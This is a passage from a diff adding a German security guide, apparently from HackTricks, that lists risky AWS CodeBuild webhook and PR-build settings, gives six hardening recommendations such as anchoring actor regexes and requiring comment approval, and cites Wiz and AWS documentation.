+- `ACTOR_ACCOUNT_ID`-Muster, die nicht mit `^...$` verankert sind.
+- `pullRequestBuildPolicy.requiresCommentApproval` gleich `DISABLED`.
+- Fehlende Branch-/Pfad-Einschränkungen.
+- `serviceRole` mit hohen Rechten.
+- Riskanter Umfang und Wiederverwendung von source credentials.
+
+## Härtungsempfehlungen
+
+1. Erfordern Sie Kommentarfreigabe für PR-Builds (`ALL_PULL_REQUESTS` oder `FORK_PULL_REQUESTS`).
+2. Wenn actor allowlists verwendet werden, verankern Sie die Regexes und halten Sie sie exakt.
+3. Fügen Sie `FILE_PATH`-Einschränkungen hinzu, um nicht vertrauenswürdige Änderungen an `buildspec.yml` und CI-Skripten zu verhindern.
+4. Trennen Sie vertrauenswürdige Release-Builds von nicht vertrauenswürdigen PR-Builds in unterschiedliche Projekte/Rollen.
+5. Verwenden Sie fein granulare, least-privileged source-provider-Tokens (vorzugsweise dedizierte Identitäten mit geringen Rechten).
+6. Überprüfen Sie kontinuierlich Webhook-Filter und die Nutzung von source credentials.
+
+## Referenzen
+
+- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
+- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
+- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
+- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}